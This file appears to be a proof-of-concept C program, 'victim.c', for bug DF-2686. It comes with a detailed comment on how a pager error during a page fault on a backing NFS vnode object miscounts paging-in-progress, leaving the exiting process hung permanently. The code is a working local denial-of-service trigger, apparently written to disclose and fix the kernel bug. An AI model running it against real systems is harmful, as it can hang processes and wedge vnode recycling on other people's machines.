DF-2686 / victim.c
/* * DF-2686 trigger: vm_fault_object() pager-error tail corrupts the * paging_in_progress (pip) accounting when the faulting object is a * BACKING object (fs->ba != fs->first_ba): * * vm_fault.c:2242 (stock:2241): vm_object_pip_wakeup(object) * wakes the TERMINAL (backing) object's pip once, * then unlock_things()->cleanup_fault() (vm_fault.c:277) wakes the * SAME object's pip a SECOND time => count wraps below zero, * while the pip held on fs->first_ba->object (added at vm_fault.c:1859) * is NEVER released => leaked +1. * * Consequence: when the objects are later destroyed, * vm_object_terminate() -> vm_object_pip_wait("objtrm1") sleeps forever * (_refcount_wait never gives up): the exiting process hangs in * uninterruptible D-state permanently; on the wrapped (0xFFFFFFFF) count * the vnode-object side wedges vnode recycling. * * Trigger: fault a page that resolves to a backing vnode object whose * pager returns an error. Real-world: NFS EIO / soft-mount RPC failure * (nfs_softterm() reports EINTR == 4 == VM_PAGER_ERROR), forced unmount, * media errors. This PoC uses a loopback soft NFS mount in the guest and * kills the server mid-window. * * Sequence per victim run: * open /mnt2/data.bin (O_RDWR), mmap MAP_PRIVATE 16MB, close(fd) * (closing the fd keeps the mapping alive through umount -f and keeps * the process off the unmount kill list - vfs_syscalls.c:929) * m[0]=1 write-fault -> creates the shadow (first) object * READY -> [operator kills nfsd/mountd/rpcbind here] * read m[16MB-4K] -> fault descends shadow -> vnode object -> pager * -> "vm_fault: pager read error" -> pip corrupted * _exit(42) -> vm_object_terminate(shadow) hangs in objtrm1 */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <signal.h> #include <string.h> #include <errno.h> #include <sys/mman.h> #define SIZE (16UL<<20) static volatile sig_atomic_t got = 0; static void hb(int s){ got = s; } static void say(const char *s){ write(2, s, strlen(s)); } int main(void){ char buf[64]; setproctitle("victimproc"); for (int s = 1; s < 32; s++) signal(s, hb); sigset_t all; sigfillset(&all); int fd = open("/mnt2/data.bin", O_RDWR); if (fd<0){ int n=snprintf(buf,64,"open errno=%d got=%d\n",errno,got); write(2,buf,n); return 1;} char *m = mmap(NULL, SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); if (m==MAP_FAILED){ perror("mmap"); return 1; } close(fd); m[0] = 1; /* write-fault: shadow object created */ say("READY\n"); sleep(20); /* window: operator kills the NFS server */ say("FAULTING\n"); sigprocmask(SIG_SETMASK, &all, NULL); volatile char c = m[16*1024*1024 - 4096]; (void)c; /* pager-backed page */ int n = snprintf(buf, sizeof buf, "AFTERFAULT got=%d val=%02x\n", got, (unsigned)(c&0xff)); write(2, buf, n); say("EXITING\n"); _exit(42); /* hangs in objtrm1 on stock kernel */ } |